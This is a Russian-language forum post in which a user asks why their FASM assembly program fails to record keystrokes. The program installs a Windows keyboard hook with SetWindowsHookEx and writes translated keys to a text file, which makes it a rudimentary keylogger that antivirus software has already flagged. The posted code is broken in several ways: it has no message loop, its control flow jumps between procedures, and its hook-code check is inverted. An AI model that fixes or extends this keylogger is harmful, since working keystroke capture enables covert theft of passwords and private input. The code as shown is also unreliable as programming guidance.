помогите с хуками

[juckins]

Здравствуйте у меня возникла проблема с функцией SetWondowsHookEx,а конкретно то что я установил хук,касперский мне об этом сигналил,но я не могу записать нажатые клавиши в текстовый файл,вот код я хотел бы узнать что я делаю не так

format PE GUI 4.0
entry start

include 'win32ax.inc'

section '.data' data readable writeable
SzFile db 'D:\fi.txt',0
Buf2 dd ?
Buf db 100 dup(?)
KeySt db 256 dup (0)
crlf db 13,10,0
len_buf = $ - Buf2
le_buf = $ - Buf
hfile dd ?
HHook dd ?
gg dd ?
hInstance dd ?

section '.code' code readable executable
start:
invoke GetModuleHandle,NULL
mov [hInstance],eax
invoke _lcreat, SzFile, 0
mov [hfile], eax
hook:
invoke SetWindowsHookEx, WH_KEYBOARD, KeyBoardProc, [hInstance], NULL
mov [HHook], eax


proc KeyBoardProc nCode, WParam, LParam
cmp [nCode], HC_ACTION
jne DoWork
invoke CallNextHookEx, [HHook], [nCode], [WParam], [LParam]

DoWork:
invoke MapVirtualKey,[WParam],0
mov [gg],eax
invoke GetKeyboardState,KeySt
invoke toacii,[WParam],gg,KeySt,Buf,0
call Hi
ret
endp
proc Hi
invoke lstrlen,Buf
invoke _lwrite,[hfile],Buf, eax
jmp hook
ret
endp

section '.idata' import data readable writeable
library kernel,'KERNEL32.DLL',\
user,'USER32.DLL',\
gdi,'GDI32.DLL'


import kernel,\
_lcreat,'_lcreat',\
GetModuleHandle,'GetModuleHandleA', \
lstrcpy,'lstrcpy',\
_lwrite,'_lwrite',\
CloseHandle,'CloseHandle',\
lstrlen,'lstrlenA',\; CloseHandle
ExitProcess,'ExitProcess',\
lstrcat,'lstrcat'
import user,\
GetKeyNameText,'GetKeyNameTextA',\
GetKeyboardState ,'GetKeyboardState',\
LoadIcon,'LoadIconA',\
toacii,'ToAscii',\
MapVirtualKey,'MapVirtualKeyA',\
SetWindowsHookEx, 'SetWindowsHookExA',\
UnhookWindowsHookEx, 'UnhookWindowsHookEx',\
CallNextHookEx,'CallNextHookEx'